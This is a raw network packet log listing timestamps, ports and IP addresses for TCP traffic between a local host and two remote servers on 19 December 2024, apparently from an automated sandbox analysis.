Dec 19, 2024 14:10:32.513067961 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.513127089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.513792038 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.513840914 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.513910055 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.513957977 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.514776945 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.514791965 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.514826059 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.514847040 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.515571117 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.515623093 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.515647888 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.515691996 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.516318083 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.516365051 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.516423941 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.516474009 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.517230034 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.517281055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.517306089 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.517349958 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.518018007 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.518060923 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.518084049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.518131018 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.518857956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.518915892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.518982887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.519031048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.519711971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.519761086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.519824982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.519875050 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.520545959 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.520595074 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.520654917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.520699978 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.521420002 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.521469116 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.521544933 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.521594048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.522222042 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.522270918 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.522365093 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.522413015 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.523087025 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.523135900 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.523540974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.523622036 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.523997068 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.524041891 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.524051905 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.524097919 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.524712086 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.524760008 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.524841070 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.524887085 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.525577068 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.525623083 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.525680065 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.525726080 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.526519060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.526545048 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.526565075 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.526587009 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.527277946 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.527292967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.527326107 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.527347088 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.528212070 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.528227091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.528255939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.528281927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.528992891 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.529007912 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.529035091 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.529058933 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.529778004 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.529825926 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.529966116 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.530033112 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.530662060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.530677080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.530714035 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.530735970 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.531482935 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.531528950 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.531546116 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.531595945 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.532349110 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.532396078 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.532507896 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.532556057 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.533224106 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.533240080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.533292055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.533325911 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.534037113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.534101963 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.534126043 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.534178019 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.534890890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.534944057 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.535300970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.535351992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.535650969 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.535701990 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.535907984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.535957098 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.536488056 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.536537886 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.536616087 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.536674023 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.537360907 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.537408113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.537594080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.537643909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.538402081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.538450003 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.538479090 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.538530111 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.539128065 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.539201021 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.539359093 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.539422035 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.539942980 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.540002108 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.540227890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.540303946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.540705919 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.540755033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.655344963 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.655359030 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.655479908 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.655502081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.655549049 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.655679941 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.655735016 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.656397104 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.656497955 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.656569958 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.657236099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.657273054 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.657299042 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.657335997 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.657905102 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.657921076 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.657974958 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.658695936 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.658843040 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.658900023 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.659488916 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.659569025 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.659596920 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.659658909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.660379887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.660438061 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.695066929 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.695147991 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.695242882 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.695409060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.695470095 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.695636034 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.695697069 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.696202993 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.696254015 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.696280956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.696326017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.697165966 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.697227001 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.697246075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.697289944 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.698256969 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.698311090 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.698501110 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.699132919 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.699192047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.699251890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.699341059 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.699731112 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.699784994 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.699848890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.699892998 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.700551033 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.700582027 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.700603962 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.700628042 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.701389074 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.701462030 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.701493025 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.701534986 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.702457905 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.702510118 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.702521086 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.702563047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.703376055 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.703473091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.703521967 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.704040051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.704088926 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.704169035 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.704217911 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.704911947 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.704971075 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.705091000 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.705137014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.705734015 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.705780983 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.705898046 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.705946922 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.706551075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.706595898 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.706702948 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.706747055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.707385063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.707516909 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.707567930 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.708170891 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.708219051 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.708244085 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.708287001 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.708909988 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.708955050 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.709012985 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.709057093 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.709841013 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.709918022 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.710042000 CET	443	49817	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:32.710529089 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.710649967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.711335897 CET	49817	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:32.711353064 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.711385012 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.711410999 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.711420059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.711462975 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.712410927 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.712534904 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.712563038 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.712589979 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.713359118 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.713375092 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.713403940 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.713432074 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.713890076 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.713948965 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.713999033 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.714056015 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.714636087 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.714736938 CET	49817	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:32.714750051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.714761019 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.714765072 CET	443	49817	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:32.714797020 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.715101004 CET	443	49817	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:32.715502977 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.715574980 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.715641022 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.715681076 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.716418982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.716444016 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.716478109 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.716500044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.717153072 CET	49817	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:32.717312098 CET	49817	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:32.717327118 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.717354059 CET	443	49817	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:32.717386961 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.717446089 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.717509031 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.718116999 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.718170881 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.718204021 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.718255043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.718878984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.718894005 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.718951941 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.719935894 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.719950914 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.719995975 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.720012903 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.720683098 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.720750093 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.720813036 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.721337080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.721386909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.721453905 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.721504927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.722278118 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.722296953 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.722357035 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.723150969 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.723206997 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.723237991 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.723298073 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.723864079 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.723927975 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.723984957 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.724039078 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.724715948 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.724771976 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.724845886 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.724901915 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.725562096 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.725625038 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.725701094 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.725750923 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.726404905 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.726608992 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.726670980 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.727380991 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.727396011 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.727438927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.727461100 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.728146076 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.728195906 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.728254080 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.728923082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.728980064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.729043007 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.729104042 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.729772091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.729834080 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.729857922 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.729901075 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.730635881 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.730743885 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.730815887 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.731631994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.731693029 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.731709003 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.731755018 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.732311964 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.732367039 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.732386112 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.732434034 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.733165979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:32.733222008 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:32.848270893 CET	80	49800	31.41.244.11	192.168.2.4
